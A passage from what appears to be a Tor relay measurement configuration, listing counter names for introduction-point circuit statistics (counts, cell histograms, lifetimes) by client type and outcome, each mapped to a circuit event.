'Intro2ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3CircuitCount' : { CIRCUIT_EVENT },
'Intro3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3CircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3FailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
